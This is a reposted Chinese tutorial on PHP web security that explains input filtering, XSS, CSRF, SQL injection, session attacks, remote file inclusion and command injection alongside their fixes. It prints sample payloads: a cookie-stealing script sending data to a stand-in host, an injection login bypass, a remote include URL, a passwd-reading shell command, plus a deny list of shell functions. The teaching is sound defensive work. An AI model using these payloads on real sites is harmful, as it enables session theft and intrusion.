zoukankan      html  css  js  c++  java
  • PHP安全

    php如何做到安全

    14 November 2013
    0

    一、概念和原则

    所有的输入数据都是不安全的

    我们不能信任任何外来的数据,例如用户的表单提交数据、请求字符串、甚至是RSS种子,都不能信任。这些数据都可以被伪造。 这些数据中可能故意包含某些字符,破坏程序的运行环境,例如可能包含有害的javascript代码。

    因此,PHP预定义全局数组中的数据都有可能是伪造信息,包括$_POST,$_GET,$_COOKIE,甚至包括$_SERVER数组,因为这个数组中的部分数据是由客户端提供的信息。唯一的例外是$_SESSION,因为SESSION数据是保存在服务器上的。

    总结:在处理输入数据之前,先进行过滤,有两种过滤方法:白名单和黑名单

    黑名单和白名单过滤

    黑名单过滤更宽松,它假设我们知道所有不能允许通过的内容。例如预先定义一系列的单词表,只要不在这个单词表中出现的内容都是合法的。

    举例: 获得用户输入的用户名和密码以后,我们要进行过滤,不允许用户输入单引号,双引号,等号,大于小于号,分号等等,因为这些符号可能影响我们SQL语句的结果,导致执行了意料之外的SQL,对数据安全造成严重破坏

    白名单过滤更严格,他假设我们只知道能允许通过的内容。例如预先定义一系列规则,只有满足这个规则的内容才是合法的。

    举例:获得用户输入的用户名和密码以后,我们要进行过滤,只允许用户输入字母和数字,因为我们确信这些符号不可能影响我们SQL语句的结果。

    对输入进行过滤

    我们可以在客户端使用javascript脚本对输入数据进行过滤验证,但是不能只依靠客户端,因为数据可以不通过你编写的客户端发送到服务器,因此,我们可以在客户端进行校验以提高用户感受,但在服务器端对数据进行验证是必须的。

    TIPS:可以使用ctype_alpha()函数来验证内容是否全部由字母组成,ctype_alnum()判断内容是否全由数字组成。

    对输出进行适当编码

    不当的输入数据可能危害你的程序,不当的输出同样有可能危害你的客户。Web程序主要是与数据库和浏览器打交道,根据数据输出对象的不同,要进行相应的编码。

    如果是输出数据到浏览器,那么要检查数据是否符合HTML规范,例如<>用于表示一个特定的标记,因此如果你的数据中包含<>,就需要对它们进行编码,以保证浏览器能够正确识别

    TIPS:htmlspecialchars()和htmlentities()函数可以对HTML特殊符号进行编码,推荐使用后者

    如果是输出数据到数据库,那么可以使用*_escape_string()函数来对SQL语句编码,推荐使用预编译处理Prepared SQL语句。从PHP5.1开始引入了PDO对象,可以在所有数据库引擎上提供Prepared SQL语句功能。即使某个数据库引擎不支持Prepared SQL,PDO也会自动为你进行语法转换。

    举例

    // 对输入进行过滤
    $clean = array();
    if (ctype_alpha($_POST[’username’]))
    {
          $clean[’username’] = $_POST[’username’];
    }


    // 使用占位符来编写SQL语句
    $sql = ’SELECT * FROM users WHERE username = :username’;


    // 创建预编译语句对象
    $stmt = $dbh->prepare($sql);


    // 绑定用户名参数
    $stmt->bindParam(’:username’, $clean[’username’]);


    // 执行并获取结果集
    $stmt->execute();
    $results = $stmt->fetchAll();

    Register Globals

    从 PHP 4.2.0 版开始,配置文件中register_globals 的默认值从 on 改为 off。当register_globals 的默认值为on时,所有变量(请求、表单、会话、COOKIE)都直接注入代码,也就是说当你使用$a这个变量时, 这个变量的数值有可能来自任何地方(请求、表单、会话、COOKIE),这给程序员开发带来了便利,但如果程序员的代码不严谨的话,将带来安全隐患

    例如

    <?php
    //$authorized = false; 如果程序员漏写了这条语句
    if (authenticated_user()) {
        $authorized = true;
    }

    // 由于并没有事先把 $authorized 初始化为 false,
    // 当 register_globals 打开时,可能通过GET auth.php?authorized=1 来定义该变量值
    // 所以任何人都可以绕过身份验证
    if ($authorized) {
        include "/highly/sensitive/data.php";
    }
    ?>

    等到PHP 6推出,这个register_globals配置项将被取消。

    二、网站安全

    伪造表单

    要知道不只你编写的表单可以给你自己提交数据,其他人也可以编写伪造表单来向你的站点提交数据,这样一来,你用JavaScript对表单进行的验证和过滤就都白写了。我们也可以使用$_SERVER["HTTP_REFERER "]来判断上一页的地址是不是你自己站点的地址,但是HTTP_REFERER信息也是由客户端提供的,因此也不安全。 所以必须在服务器端对数据进行验证!

    跨站脚本攻击(XSS)

    跨站脚本攻击是另外一种常见的攻击方式,而且简单易用。看看下面的例子:

    你开发了一个留言程序,这个程序允许用户发表留言,发表完留言后自动转向查看所有留言页面。如果有一个用户发表了这样一段留言

    <script>
    document.location = ’’http://example.org/getcookies.php?cookies= ’’
    + document.cookie;
    </script>

    那么其他用户在查看所有留言的时候,都将“看到”这段代码,这段代码将被他们的浏览器执行,把他们机器上保存的COOKIE信息(有可能是个人账号、密码、电话等隐私信息)发送到另外一个指定的网站。

    这可以通过对输出进行编码来防止,例如使用htmlentities()编码以后,上面这段代码将变成

    &lt;script&gt;
    document.location = 'http://example.org/getcookies.php?cookies= '
       + document.cookie;
    &lt;/script&gt;

    因此也就不能造成危害了

    跨站请求伪造(CSRF)

    XSS攻击依靠的是用户对于网站程序的信任, 而CSRF攻击依靠的是网站对于用户的信任。例如:

    一个恶意用户在网站购买书籍时候发现,用于购买请求采用GET方式提交,提交地址为http://yourhost/buybook.php?book_id=0129&qty=1

    那么他就可以在其他站点上防置一个用于发送伪造请求的图片链接<img src="http://yourhost/buybook.php?book_id=0129&qty=1 " />,这样其他用户在浏览包含一个这样的图片链接的网页的时候,就毫无察觉的发送了一个请求到购书网站。

    对于大部分用户来说,这样的请求是无效的,因为他们并不是购书网站的用户。但是如果他正好也是这个购书网站用户,那么这个请求就真的将执行购买书的操作。

    预防CSRF请求可以采取以下方法

    1)对于关键行为,避免使用$_GET,$_REQUEST,只使用$_POST,这样只有用户主动点击提交按钮,才能发生一个购买行为。(当然伪造$_POST数据也很容易,比如在恶意网站上放一个查看按钮,而这个按钮实际上是发送一个购书请求)

    2)对于关键行为,避免使用COOKIE数据对用户进行验证,使用SESSION可以保证只有用户登录过购书站点才能进行购书行为。

    3)对于关键行为,设置令牌,例如
    <?php
    session_start();
    $token = md5(uniqid(rand(), TRUE));//随机生成一个令牌
    $_SESSION[’token’] = $token;//存入SESSION
    ?>
    <form action="checkout.php" method="POST">
    <input type="hidden" name="token" value="<?php echo $token; ?>" />
    <!-- Remainder of form -->
    </form>

    这样,接收到提交数据后,就可以用SESSION中保存的令牌,与请求中的令牌进行比较,这样就可以完全防止伪造的请求。

    三、数据库安全

    当使用用户输入作为SQL语句的组成部分时,很容易遭到SQL注入攻击。

    例如采用方法进行登录验证时

    $username = $_POST[’username’];
    $password = md5($_POST[’password’]);
    $sql = "SELECT * FROM users WHERE username='{$username}' AND password='{$password}'";

    如果恶意用户输入用户名为 ' OR '1' = '1,那么拼接成的SQL语句就变成了
    SELECT * FROM users WHERE username='' OR '1' = '1' AND password='...'
    这条语句将查询出数据库中所有的用户,恶意用户就顺利登陆了

    使用*_escape_string()函数对数据进行编码后,再进行拼接,或者使用预处理SQL语句,可以有效地防止SQL注入。

    例如使用*_escape_string()函数对恶意用户名编码后,用户名将变成 /' OR /'1/' = /'1


    四、会话安全


    会话攻击最常见有两种形式:Session Fixation和session hijacking
    大部分其他形式的攻击都可以通过输入过滤和输出编码来预防,但是会话攻击不行。
    我们需要尽早为为此而做准备,同时查找程序潜在的漏洞

    1、Session Fixation (会话指定,又叫做session riding,会话桥接),攻击的过程如下:

    在恶意网站上放置如下链接<a href="http://example.org/index.php?PHPSESSID=1234">Click here</a>, 用户点击这

    个网站进入目标网站。假如这个用户正好是一个管理员,他登陆进入管理后台。(因为PHP默认将SESSIONID保存在COOKIE中

    ,但如果客户端禁用COOKIE,PHP就会使用请求字符串传递,并且SESSIONID的默认名称为PHPSESSID,所以PHP现在将从请求

    字符串获得SESSIONID。

    在管理员在后台操作的这段时间,SESSIONID一直是有效的,直到他退出登录为止。

    如果我们在一个用户通过这个恶意链接访问目标站点以后,立刻也使用1234这个SESSIONID进行自动访问,那么就可以以管理

    员身份登录到后台进行操作,比如增加一个管理员......

    解决Session Fixation的方法是:一旦用户改变身份,就立即让原来的SESSION失效,这样就可以有效防止 Session

    Fixation。

    session_start();
    // If the user login is successful, regenerate the session ID
    if (authenticate())
    {
    session_regenerate_id();
    }

    2、session hijacking (session劫持)

    session hijacking是常见的网络攻击方式,你的网关服务器,你同一个网段的用户都可以通过“嗅探器”软件来监听你的

    TCP通信数据,可以从这些数据中分析出来他们感兴趣的目标网站和SESSION ID。
    没准在你在目标网站浏览操作的同时,攻击者也在用你的身份进行浏览操作。

    为了防止这样的攻击方式,我们可以采取下面的方式
    1)在SESSION中保存$_SERVER[’HTTP_USER_AGENT’],不同的客户端的USER_AGENT应该不完全相同,因此可以起到一定的

    预防session劫持的作用

    2)执行一个高度敏感的动作例如修改密码时,仍然要重新验证身份。绝对不要让一个仅通过会话验证的用户在不输入旧密码

    的情况下去修改密码。你也应当避免直接向一个仅通过会话ID验证的用户显示高度敏感的数据,例如信用卡号

    3)登录和关键操作最好使用SSL连接,以防信息被监听

    4)不要在COOKIE和SESSION中保存明文密码(MD5也不安全,可以在1小时内被暴力破解开)


    五、文件系统安全

    PHP可以直接访问文件系统、执行Shell命令,这给程序开发提供了强大的支持的同时也可能会带来危险。同样,恰当的过滤和编码可以避免危险。


    1、远程代码注入

    我们可以使用include和require来包含文件,这两个命令非常方便。

    例如我们可以使用下面的代码来在页面包含一个可变化的模块

    include "{$_GET[’section’]}/data.inc.php";

    当用户访问http://example.org/?section=news 的时候,上面的语句变成

    include "news/data.inc.php";

    页面就包含了新闻模块。

    但如果攻击者使用这样的链接来访问http://example.org/?section=http://attack/attack.php ?
    那么上面的语句就变成
    include "http://attack/attack.php?/data.inc.php ";

    那么服务器将运行攻击者提供的attack.php程序。

    为了防止这种情况的发生,我们可以使用下面的代码来实现动态包含的功能
    $clean = array();
    $sections = array(’home’, ’news’, ’photos’, ’blog’);
    if (in_array($_GET[’section’], $sections))
    {
    $clean[’section’] = $_GET[’section’];
    }
    else
    {
    $clean[’section’] = ’home’;
    }
    include "{clean[’section’]}/data.inc.php";

    另外,PHP配置文件中的allow_url_fopen选项可以设置是否将URL地址当作普通文件对待,默认情况下,这个选项为ON,因

    此也就可以在include和require里面使用URL地址。如果将该选项关闭,那么也可以防止上述情况的发生。

    假设有下面一段代码
    <?php
        $string='AaBbCcDdEeFfGg';
        $pattern='/^/e';
        echo $preg_replace($pattern,"str_replace('abc','<i>abc</i>',AaBbCc);", "AaBbCc");
    ?>


    2、命令行注入

    PHP提供了exec(), system(),passthru(),shell_exec()等函数,以及` (反引号)运算符。这些函数可以直接调用命令行系统指令

    ,例如system('dir c:'); 可以显示C盘符下的目录内容, system("ls -al|cat/etc/passwd");可以获得passwd的内容。

    假如攻击者能将这些命令注入你的代码并运行,将给系统带来巨大的危害。

    例如,我们实现一个全文搜索功能,要把文章中用户指定的单词变成斜体显示,我们的代码如下
    <?php
        $string='the content to display';
        $pattern='/^/e';   
        echo preg_replace($pattern,"str_replace('".$_GET['word']."', '<i>".$_GET['word']."</i>',

    $string);","");
    ?>

    其中/e修正符指定,将要替换部分作为PHP代码运行。
    当用户输入content, 那么网页上将显示the <i>content</i> to display,实现了我们所需功能。

    但是如果攻击者输入b','b','b'); phpinfo();//
    那么将运行str_replace('b','b','b'); phpinfo();//.......

    再例如,我们根据用户输入,来决定调用什么函数
    <?php 
    if(isset($_GET['func']))
        {
            $myfunc=$_GET['func']);
            echo $myfunc();
            echo "<br/>";
        }
    ?>
    假如用户输入?func=phpinfo, 那么将运行phpinfo()

    我们还是应该使用适当的过滤和编码来解决命令行注入问题,可以使用escapeshellcmd()和escapeshellarg()函数。
    如果有可能,避免使用命令行,如果必须要用,那么也应该避免使用用户输入来拼接shell命令。


    3、共享主机

    在共享主机模式下,存在许多安全问题。PHP曾经尝试推出safe_mode配置选项来解决这些问题。但是,正如PHP手册所说,

    “从PHP的层面出发解决这些问题在体系结构上就是不对的”。因此PHP6不会推出safe_mode配置选项。

    但是对于共享主机来说,存在三个非常重要的配置选项:open_basedir, disable_functions, 和disable_classes

    1)open_basedir
    open_basedir选项用于限定可使用的文件范围。当使用fopen()或者include时,php检查文件的路径,如果在open_basedir

    指定的目录下,那么可以成功打开文件,否则失败。

    可以在php.ini配置文件中,或者基于每台虚拟主机的httpd.conf配置文件中,设置open_basedir。
    在下例中,PHP脚本只能使用/home/user/www 和 /usr/local/lib/php目录下的文件(后者通常是PEAR库文件的保存目录)
    <VirtualHost *>
    DocumentRoot /home/user/www
    ServerName  www.example.org
    <Directory /home/user/www>
       php_admin_value open_basedir "/home/user/www/:/usr/local/lib/php/"
    </Directory>
    </VirtualHost>

    2)disable_functions和disable_classes
    disable_functions和disable_classes允许你因为安全考虑而禁用某些PHP函数或者类。只能在php.ini中配置这两个选项

    。请看下面的例子:

    ; Disable functions
    disable_functions = exec,passthru,shell_exec,system
    ; Disable classes
    disable_classes = DirectoryIterator,Directory


    总结

    时刻牢记输入过滤和输出编码!

    转自:http://blog.0755hqr.com/post-758.html

  • 相关阅读:
    20150316--TP-01
    20150314--TP-02
    20150314--TP-01
    20150313+微信-全
    表单/iframe与video标签
    图像/超链接标签
    HTML列表与表格
    JAVA新的一天
    MySQL常用函数
    php基础--来自网页转载
  • 原文地址:https://www.cnblogs.com/codingrabbit/p/4371556.html
Copyright © 2011-2022 走看看